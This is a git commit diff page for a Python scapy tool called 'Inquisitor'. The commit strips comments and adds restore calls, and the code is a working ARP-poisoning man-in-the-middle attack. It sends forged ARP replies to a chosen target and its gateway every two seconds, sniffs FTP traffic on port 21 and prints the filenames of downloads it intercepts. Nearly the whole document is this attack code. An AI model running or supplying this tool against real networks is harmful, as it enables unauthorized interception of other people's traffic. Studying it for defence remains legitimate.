Refactor FTP packet callback and ARP functions for clarity and remove unnecessary comments
This commit is contained in:
parent
0da3ed1490
commit
806467d8a3
@ -8,16 +8,10 @@ import threading
|
||||
import time
|
||||
|
||||
def my_mac():
|
||||
"""
|
||||
This function returns the MAC address of the current machine using scapy
|
||||
"""
|
||||
return get_if_hwaddr(conf.iface)
|
||||
|
||||
|
||||
def mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac):
|
||||
"""
|
||||
# This function would contain the logic to spoof the target IP and MAC
|
||||
"""
|
||||
print(f"Spoofing {target_ip} ({target_mac}) via gateway {gateway_ip} ({gateway_mac})")
|
||||
packet_victim = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=my_mac)
|
||||
packet_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=my_mac)
|
||||
@ -27,7 +21,6 @@ def mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac):
|
||||
|
||||
|
||||
def restore(target_ip, target_mac, gateway_ip, gateway_mac):
|
||||
# This function would contain the logic to restore the original IP and MAC addresses
|
||||
print(f"Restoring {target_ip} ({target_mac}) via gateway {gateway_ip} ({gateway_mac})")
|
||||
packet_victim = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
|
||||
packet_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_ip)
|
||||
@ -43,7 +36,6 @@ def ftp_packet_callback(packet):
|
||||
if packet.haslayer('IP') and packet.haslayer('TCP'):
|
||||
if packet['TCP'].dport == 21 or packet['TCP'].sport == 21:
|
||||
if b"RETR" in bytes(packet['TCP'].payload):
|
||||
# Extract filename from FTP RETR command
|
||||
payload = bytes(packet['TCP'].payload).decode(errors='ignore')
|
||||
parts = payload.split()
|
||||
if "RETR" in parts:
|
||||
@ -51,7 +43,6 @@ def ftp_packet_callback(packet):
|
||||
if idx + 1 < len(parts):
|
||||
filename = parts[idx + 1]
|
||||
print(f"\033[92mFTP file download detected: {filename} \033[0m")
|
||||
# Also print when server sends a 150 response (file status okay; about to open data connection)
|
||||
payload = bytes(packet['TCP'].payload).decode(errors='ignore')
|
||||
if payload.startswith("150 "):
|
||||
print(f"\033[94mFTP server response: {payload.strip()} \033[0m")
|
||||
@ -61,7 +52,7 @@ def start_sniffing(interface=conf.iface):
|
||||
This function would start sniffing network packets.
|
||||
"""
|
||||
print("Starting to sniff packets...")
|
||||
bpf = "tcp port 21" # Filter for FTP traffic
|
||||
bpf = "tcp port 21"
|
||||
try:
|
||||
sniff(iface=interface, filter=bpf, prn=ftp_packet_callback, store=0)
|
||||
except Exception as e:
|
||||
@ -79,17 +70,15 @@ def continuous_arp_poisoning(target_ip, target_mac, gateway_ip, gateway_mac, sto
|
||||
try:
|
||||
mitm(target_ip, target_mac, gateway_ip, gateway_mac, my_mac())
|
||||
print(f"[ARP] Sent poisoning packets", flush=True)
|
||||
time.sleep(2) # Send ARP packets every 2 seconds
|
||||
time.sleep(2)
|
||||
except Exception as e:
|
||||
print(f"[ERROR] ARP poisoning error: {e}", flush=True)
|
||||
time.sleep(1)
|
||||
|
||||
def run(target_ip, target_mac, gateway_ip, gateway_mac):
|
||||
try:
|
||||
# Create stop event for threads
|
||||
stop_event = threading.Event()
|
||||
|
||||
# Start ARP poisoning in background thread
|
||||
arp_thread = threading.Thread(
|
||||
target=continuous_arp_poisoning,
|
||||
args=(target_ip, target_mac, gateway_ip, gateway_mac, stop_event)
|
||||
@ -97,16 +86,19 @@ def run(target_ip, target_mac, gateway_ip, gateway_mac):
|
||||
arp_thread.daemon = True
|
||||
arp_thread.start()
|
||||
|
||||
# Start packet sniffing in main thread
|
||||
print("Starting packet sniffing...")
|
||||
start_sniffing()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("Stopping the Inquisitor...")
|
||||
stop_event.set()
|
||||
time.sleep(1)
|
||||
restore(target_ip, target_mac, gateway_ip, gateway_mac)
|
||||
|
||||
except Exception as e:
|
||||
print(f"An error occurred: {e}")
|
||||
stop_event.set()
|
||||
time.sleep(1)
|
||||
restore(target_ip, target_mac, gateway_ip, gateway_mac)
|
||||
|
||||
|
||||
@ -120,7 +112,6 @@ def main():
|
||||
parser.add_argument('gateway_mac', help='Gateway MAC address')
|
||||
args = parser.parse_args()
|
||||
|
||||
# Set up signal handling for graceful shutdown
|
||||
def signal_handler(sig, frame):
|
||||
print("\nSignal received, stopping Inquisitor...")
|
||||
restore(args.target_ip, args.target_mac, args.gateway_ip, args.gateway_mac)
|
||||
@ -129,7 +120,6 @@ def main():
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
signal.signal(signal.SIGTERM, signal_handler)
|
||||
|
||||
# Here you would typically call the main functionality of Inquisitor
|
||||
print(f"Target IP: {args.target_ip}")
|
||||
print(f"Target MAC: {args.target_mac}")
|
||||
print(f"Gateway IP: {args.gateway_ip}")
|
||||
|
||||
Loading…
Reference in New Issue
Block a user